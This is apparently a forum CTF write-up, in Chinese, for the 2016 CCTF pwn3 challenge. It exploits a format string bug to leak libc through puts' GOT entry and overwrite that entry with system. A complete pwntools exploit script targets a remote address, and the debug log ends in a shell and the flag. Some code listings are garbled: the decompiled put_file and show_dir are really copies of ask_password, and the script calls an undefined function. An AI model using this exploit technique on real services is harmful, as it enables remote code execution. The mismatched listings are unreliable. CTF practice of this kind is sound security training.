-
-
[分享]pwn题解---get_pwn3(2016 CCTF 中的 pwn3)
-
发表于: 2025-4-7 19:39 968
-
get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file pwn3 pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=916959406d0c545f6971223c8e06bff1ed9ae74d, not stripped motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=pwn3 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 88 Symbols No 0 3 pwn3
(2)
用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int command; // eax char s1[40]; // [esp+14h] [ebp-2Ch] BYREF int command_1; // [esp+3Ch] [ebp-4h] setbuf(stdout, 0); ask_username(s1); ask_password(s1); while ( 1 ) { while ( 1 ) { print_prompt(); command = get_command(); command_1 = command; if ( command != 2 ) break; put_file(); } if ( command == 3 ) { show_dir(); } else { if ( command != 1 ) exit(1); get_file(); } } }
发现先是给了两个函数ask_username和ask_password函数,参数都为s1
char *__cdecl ask_username(char *dest) { char src[40]; // [esp+14h] [ebp-34h] BYREF int i; // [esp+3Ch] [ebp-Ch] puts("Connected to ftp.hacker.server"); puts("220 Serv-U FTP Server v6.4 for WinSock ready..."); printf("Name (ftp.hacker.server:Rainism):"); __isoc99_scanf("%40s", src); for ( i = 0; i <= 39 && src[i]; ++i ) ++src[i]; return strcpy(dest, src); }
这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于存储处理后的用户名
这里对输入数据的处理是通过循环遍历每个字符,并将每个字符的ASCII码值加1
int __cdecl ask_password(char *s1) { if ( strcmp(s1, "sysbdmin") ) { puts("who you are?"); exit(1); } return puts("welcome!"); }
这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于传入要验证的密码字符串
当传入的字符串为"sysbdmin"时,就会继续运行。
结合看两个函数,我们要输入rxraclhm(每个字母往前移一个),才能使程序运行
(3)
看下面的循环,主要的先是一个目录get_command函数
int get_command() { char s1[12]; // [esp+1Ch] [ebp-Ch] BYREF __isoc99_scanf("%3s", s1); if ( !strncmp(s1, "get", 3u) ) return 1; if ( !strncmp(s1, "put", 3u) ) return 2; if ( !strncmp(s1, "dir", 3u) ) return 3; return 4; }
输入get---get_file函数
int get_file() { char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF char s1[40]; // [esp+E4h] [ebp-34h] BYREF char *i; // [esp+10Ch] [ebp-Ch] printf("enter the file name you want to get:"); __isoc99_scanf("%40s", s1); if ( !strncmp(s1, "flag", 4u) ) puts("too young, too simple"); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, s1) ) { strcpy(dest, i + 40); return printf(dest); } } return printf(dest); }
这函数是获取用户输入的文件名,若存在会返回文件内容,没有此文件名,也会输出,但是�
(这里若我们先查看存在的文件,输出了文件内容,后面输入不存在的文件名,输出的内容是存在文件的文件内容和�)
这里还对敏感文件flag进行了限制,不能直接读取
还因为我们能控制dest的内容,所以存在格式化字符串漏洞
输入put---put_file函数
int __cdecl ask_password(char *s1) { if ( strcmp(s1, "sysbdmin") ) { puts("who you are?"); exit(1); } return puts("welcome!"); }
这个函数主要是输入文件名和文件内容
输入dir---show_dir函数
int __cdecl ask_password(char *s1) { if ( strcmp(s1, "sysbdmin") ) { puts("who you are?"); exit(1); } return puts("welcome!"); }
这个函数是把我们存储的文件名依次拼接,存于一个字符数组中,最后把拼接好的完整文件名信息输出到标准输出
(应该是因为是链栈,后进先出,所以后输入的在前)
(4)
思路:
这里可以通过格式化字符串漏洞,修改puts函数的got表为system函数,并给一个"/bin/sh",来完成连接
1.先根据程序自定义构造函数put,got,这里我还构造了一个addr函数(获取puts函数地址)
addr函数:
先是利用put输入文件名为/sh,内容为b'%8$s'+p32(got_addr)
(%8$s会尝试读取该p32(got_addr)地址指向的内存内容)
然后通过get输出,获取puts函数地址
2.根据puts函数获取libc基地址,进而得到system地址
3.因为put可以输入,get可以输出(存在格式化字符串漏洞),所以通过这两个函数,得到偏移量
4.构造一条ROP链,通过格式化字符串漏洞把puts函数的got表地址改为system函数地址,并且再次用输入文件名为/bin,文件内容为payload,通过get输出
5.运用dir函数,因为函数会把文件名拼接,所以是"/bin/sh",而函数最后的返回puts函数已经是system函数,所以我们最后执行的是system("/bin/sh")
(5)
编写
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = remote('123.57.66.184', 10072) # sh = process('/home/motaly/桌面/pwn3') elf=ELF('/home/motaly/桌面/pwn3') sh.recvuntil(b"Name (ftp.hacker.server:Rainism):") sh.sendline(b"rxraclhm") def put(file_name, file_content): sh.recvuntil(b"ftp>") sh.sendline(b"put") sh.recvuntil(b"please enter the name of the file you want to upload:") sh.sendline(file_name) sh.recvuntil(b"then, enter the content:") sh.sendline(file_content) def get(file_name): sh.recvuntil(b"ftp>") sh.sendline(b"get") sh.recvuntil(b"enter the file name you want to get:") sh.sendline(file_name) def addr(got_addr): put(b'/sh', b'%8$s' + p32(got_addr)) #%8$s会尝试读取该p32(got_addr)地址指向的内存内容 get(b'/sh') function_addr = u32(sh.recv(4)) return function_addr puts_addr = addr(elf.got['puts']) print("puts_addr"+hex(puts_addr)) libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump('puts') print("libc_base--->"+hex(libc_base)) system_addr = libc_base + libc.dump('system') print("system_addr--->"+hex(system_addr)) payload = fmtstr_payload(7, {elf.got['puts']:system_addr}) debug(payload) put(b'/bin', payload) get(b'/bin') sh.sendline(b'dir') sh.interactive()
(4)
连接得到flag
[*] Switching to interactive mode [DEBUG] Received 0x10d bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 │ │ │ │ 0│ 00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000090 20 20 20 20 20 20 20 20 20 20 20 20 04 20 20 20 │ │ │ │· │ 000000a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 000000e0 20 20 20 20 20 20 20 3e 20 20 20 20 20 20 20 20 │ │ >│ │ │ 000000f0 20 20 20 20 20 20 20 20 f7 28 a0 04 08 2a a0 04 │ │ │·(··│·*··│ 00000100 08 2b a0 04 08 29 a0 04 08 66 74 70 3e │·+··│·)··│·ftp│>│ 0000010d 0 \x04 > \xf7(\xa*\xa0\x0+\xa0\x0)\xa0\ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x2d bytes: b'40_2016ccf_pwn3\n' b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' 40_2016ccf_pwn3 bin dev flag lib lib32 lib64 $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x2b bytes: b'flag{98beaded-1acb-4d51-a309-9a93a9f02416}\n' flag{98beaded-1acb-4d51-a309-9a93a9f02416}